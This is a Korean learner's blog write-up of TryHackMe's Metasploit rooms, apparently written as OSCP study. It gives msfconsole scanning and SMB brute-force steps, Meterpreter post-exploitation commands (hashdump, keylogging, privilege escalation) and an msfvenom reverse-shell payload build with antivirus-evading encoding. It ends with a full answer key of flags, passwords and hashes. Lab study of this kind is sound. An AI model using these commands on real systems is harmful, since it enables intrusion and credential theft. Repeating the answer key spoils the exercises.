OSCP 3일차: Metasploit, 이제부터가 진짜.

TryHackMe 선행 학습 - Metasploit Introduction & Exploitation

Jun Noh

오늘은 드디어 본격적인 “침투” 도구인 Metasploit Framework에 입문했다.

사실 지금까지는 수동으로 구조를 파악하고 단일 스크립트를 던지는 수준이었다면, Metasploit을 만난 순간부터는 정말 체계적이고 방대한 데이터베이스를 갖춘 “해킹 종합 선물 세트”를 다루는 느낌이다. 본격적으로 타겟 시스템의 취약점을 파악하고, 무기를 고르고, 침투하는 이 과정이 확실히 흥미진진해졌다. 동시에 외워야 할 모듈과 파라미터들이 쏟아져서 머리가 복잡해지기 시작했다.

오늘 다룬 두 개의 TryHackMe 룸(Introduction, Exploitation)을 통해 정리해 본 Metasploit의 기본 뼈대다.

Metasploit의 핵심 컴포넌트

Metasploit을 구성하는 큰 축은 msfconsole이라는 메인 커맨드라인 환경과, 그 안에서 돌아가는 수천 개의 모듈이다. 공격의 단계별로 장착할 수 있는 부품들이라고 보면 된다.

  • Exploit: 타겟 시스템의 논리적, 구조적 취약점을 파고드는 코드. (예: 문이 열려있는지 확인하고 비집고 들어가는 역할)
  • Payload: Exploit이 성공해서 시스템 내부로 침투했을 때, 실제로 실행되어 공격자가 원하는 결과물을 가져오는 코드. (예: 문을 따고 들어가서 금고를 털어 밖으로 던져주는 역할) - 이 중 독립적으로 실행 가능한 페이로드를 Singles라고 부른다.
  • Auxiliary: 스캐너, 크롤러, 퍼저 등 침투 전 정보 수집 단계에서 쓰는 보조 모듈들.
  • Encoders / Evasion: 백신 프로그램의 탐지인 시그니처 매칭을 피하기 위해 페이로드를 꼬아놓고 숨기는 모듈들. (다만 요즘 백신은 이것만으로는 잘 안 속는다고 한다.)
  • NOPs: 1바이트 썰매(Nop Sled) 용도로 아무것도 하지 않는(0x90) 코드. 메모리에 일정한 간격을 만들 때 쓴다.

실전 침투 워크플로우 (Scanning to Exploitation)

Metasploit을 커맨드라인(msfconsole)에서 다루면서 경험한, ‘정찰부터 내부 침투’까지의 구체적인 단계별 흐름이다.

1. 포트 스캐닝 및 서비스 정찰 (Scanning & Discovery)

무작정 공격을 날리기 전에 목표 시스템(RHOSTS)에 어떤 문이 열려있는지 파악해야 한다. search portscan 명령어로 포트 스캐닝 모듈을 찾을 수도 있고, 내장된 nmap을 직접 구동할 수도 있다.

  • Nmap 실행:

    nmap -sS [타겟_IP]

    이걸 통해 목표 머신에 대략 5개의 포트가 열려 있음을 확인했다. (참고로 일반 포트 스캔 모듈에서 포트 범위를 1-1000으로 지정하면 nmap처럼 ‘가장 많이 쓰는 포트 1000개’가 아니라 말 그대로 1번부터 1000번까지 순차 스캔하니 주의가 필요하다.)

  • 특정 서비스 정찰 (UDP Sweep & HTTP Version): 열려 있는 포트를 찾았다면, 각 서비스에 특화된 스캐너 모듈을 쓴다.

    • 네트워크 상의 NetBIOS 이름을 찾기 위해:
      use scanner/discovery/udp_sweep
      set RHOSTS [타겟_IP]
      run
      결과로 ACME IT SUPPORT 라는 식별 가능한 이름을 발견했다.
    • 8000번 포트에서 대체 어떤 웹 서비스가 돌아가는지 확인:
      use scanner/http/http_version
      set RHOSTS [타겟_IP]
      set RPORT 8000
      run
      이걸 통해 webfs/1.21 애플리케이션이 실행 중인 것을 알아냈다.

2. 취약점 탐색과 무차별 대입 (Vulnerability Scanning)

돌아가는 서비스를 파악했다면, 낮은 가지에 매달린 열매부터 노려야 한다. 익명 FTP 접속이나 흔한 암호들을 대입해보는 과정이다.

  • SMB 로그인 (사전 대입 공격): 알아낸 penny라는 시스템 사용자의 SMB 비밀번호를 뚫어보기 위해 워드리스트 파일을 투입했다.
    use scanner/smb/smb_login
    set RHOSTS [타겟_IP]
    set SMBUser penny
    set PASS_FILE /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
    run
    놀랍게도 뻔한 비밀번호인 leo1234 가 그대로 뚫렸다.
  • SMTP 서버 취약점 점검:
    use scanner/smtp/smtp_relay
    info
    이 모듈은 메일 서버가 무단 이메일 발송을 멍청하게 허용하는지 점검해준다.

3. 본격적인 익스플로잇 (Exploitation) 과 후속 과정 (Post-Exploitation)

약점을 찾았으니 뚫고 들어가 시스템의 쉘(Shell)을 얻어낼 차례다. 단순한 형태의 쉘을 획득할 수도 있지만, Metasploit의 꽃이라 불리는 Meterpreter 세션으로 파고들면 윈도우/리눅스 내부를 훨씬 쉽게 장악할 수 있다.

  • 결과물의 꽃, 미터프리터 (Meterpreter): 초기 침투에 성공해 일반 터미널 쉘(cmd나 /bin/bash)을 얻었더라도, 이를 고도화된 미터프리터 세션으로 업그레이드하는 것이 필수적이다. 일반 쉘은 타겟 시스템의 로그에 흔적을 남기기 쉽고 명령어에 제약이 많다. 반면 Meterpreter는 하드 디스크에 어떤 파일도 기록하지 않고 오직 타겟의 ‘메모리’ 상에서만 동작(Diskless)하는 특수한 페이로드다. 덕분에 방화벽이나 안티바이러스의 눈을 쉽게 피하며, 통신 자체도 암호화된다.

    background   # 현재 터미널 세션을 유지한 채 백그라운드로 보냄
    sessions     # 현재 열려 있는 세션 번호들 확인
    use post/multi/manage/shell_to_meterpreter
    run          # 미터프리터 세션으로 업그레이드
    
    sessions -i 2  # 업그레이드 되어 새로 열린 미터프리터 세션으로 진입

    미터프리터 안에서는 단순 디렉토리 이동 외에도 해커다운 무시무시한 기능들을 제공한다:

    • migrate [PID]: 현재 돌아가고 있는 다른 정상적인 프로세스(예: explorer.exe나 svchost.exe) 안으로 기생충처럼 메모리를 옮겨 간다. 이 명령어 하나면 원래 침투했던 취약점 프로세스가 종료되어도 내 세션은 살아남는다.
    • hashdump: 시스템 내부의 보안 계정 관리자(SAM) 데이터를 읽어 모든 유저들의 비밀번호 해시값을 몽땅 긁어온다.
    • keyscan_start / keyscan_dump: 타겟이 키보드로 친 모든 내용을 실시간으로 로깅한다.
    • getsystem: 윈도우 시스템에서 가능한 모든 취약점과 우회 기법을 동원해, 현재 유저 권한을 최상위 관리자 권한으로 몰래 상승시키는 마법의 명령어다.

나만의 무기 만들기: Msfvenom

과거 Metasploit에는 페이로드를 만드는 Msfpayload와 그걸 백신이 못 알아보게 인코딩하는 Msfencode라는 도구가 따로 있었는데, 이 둘을 하나로 강력하게 합친 툴이 바로 Msfvenom이다. 단순히 시스템에 침투하는 단일 코드를 넘어, 내가 원하는 공격 환경(Windows, Linux, Android, Web 등)과 포맷(exe, elf, apk, php 파일 등)에 맞춰 직접 실행 가능한 악성 파일(독립형 백도어나 리버스 쉘)을 구워내는 팩토리 역할을 한다.

  • Msfvenom 기본 구문:

    msfvenom -p [페이로드] LHOST=[내_IP] LPORT=[내_포트] -f [포맷] -o [결과물파일명]
  • 실전 사용 예시: 리눅스 서버를 털기 위해 .elf 형태의 리버스 쉘을 뽑아내고 싶다면 이렇게 쓴다.

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=4444 -f elf -o shell.elf

    이 파일을 파이썬 웹 서버(python3 -m http.server)나 wget 등을 이용해 타겟 PC 안으로 밀어 넣은 뒤 실행시키면 끝이다. 내 PC의 Metasploit 핸들러(exploit/multi/handler)에서 LPORT를 열고 기다리기만 하면, 방화벽을 거슬러 타겟이 나에게 알아서 접속해 온다(Reverse TCP).

    더 끈질긴 공격을 위해 인코딩 옵션(-e)도 지원한다. 가장 유명한 인코더 중 하나인 x86/shikata_ga_nai 등을 사용해 코드를 수차례 반복적으로 꼬아대면, 백신 프로그램이 시그니처만 보고는 이 파일이 악성 코드인지 알아채지 못하게 난독화할 수도 있다. (물론 최신 EDR이나 휴리스틱 기반의 백신을 완전히 속이려면 훨씬 정교한 추가 작업이 필요하다.)


TryHackMe: Metasploit Intro & Exploit (Task별 전체 문제/정답)

[Introduction] Task 2: Main Components of Metasploit

1. What is the name of the code taking advantage of a flaw on the target system?

  • 정답: Exploit

2. What is the name of the code that runs on the target system to achieve the attacker’s goal?

  • 정답: Payload

3. What are self-contained payloads called?

  • 정답: Singles

4. Is “windows/x64/pingback_reverse_tcp” among singles or staged payload?

  • 정답: Singles

[Introduction] Task 3: Msfconsole

1. How would you search for a module related to Apache?

  • 정답: search apache

2. Who provided the auxiliary/scanner/ssh/ssh_login module?

  • 정답: todb

[Introduction] Task 4: Working with modules

1. How would you set the LPORT value to 6666?

  • 정답: set LPORT 6666

2. How would you set the global value for RHOSTS to 10.10.19.23 ?

  • 정답: setg RHOSTS 10.10.19.23

3. What command would you use to clear a set payload?

  • 정답: unset PAYLOAD

4. What command do you use to proceed with the exploitation phase?

  • 정답: exploit

[Exploitation] Task 2: Scanning (Port Scanning)

1. How many ports are open on the target system?

  • 정답: 5 (nmap -sS 사용)

2. Using the relevant scanner, what NetBIOS name can you see?

  • 정답: ACME IT SUPPORT (use scanner/discovery/udp_sweep 활용)

3. What is running on port 8000?

  • 정답: webfs/1.21 (use scanner/http/http_version 활용)

4. What is the “penny” user’s SMB password? Use the wordlist mentioned in the previous task.

  • 정답: leo1234 (use scanner/smb/smb_login 활용)

[Exploitation] Task 4: Vulnerability Scanning

1. Who wrote the module that allows us to check SMTP servers for open relay?

  • 정답: Campbell Murray (use scanner/smtp/smtp_relay 에서 info 확인)

[Exploitation] Task 5: Exploitation

1. Exploit one of the critical vulnerabilities on the target VM

  • 정답: No answer needed

2. What is the content of the flag.txt file?

  • 정답: THM-5455554845

3. What is the NTLM hash of the password of the user “pirate”?

  • 정답: 8ce9a3ebd1647fcc5e04025019f4b875 (meterpreter 백그라운드 전환 후 post/multi/manage/shell_to_meterpreter 모듈 사용)

[Exploitation] Task 6: Msfvenom

1. What is the other user’s password hash?

  • 정답: $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0

마치며

Metasploit을 다뤄보니, 정보 수집부터 시스템 장악, 그 이후 내부 권한 탈취로 이어지는 흐름이 머릿속에 아주 약간 그려진다.

확실히 단순한 툴을 넘어 거대한 해킹 생태계 같다.

이제 명령어 치는 손가락은 조금 편해지겠지만, 어떤 상황에서 저 수천 개의 모듈 중 무엇을 꺼내 들어야 하는지가 고비일 것 같다.

마침.

다른 글 보기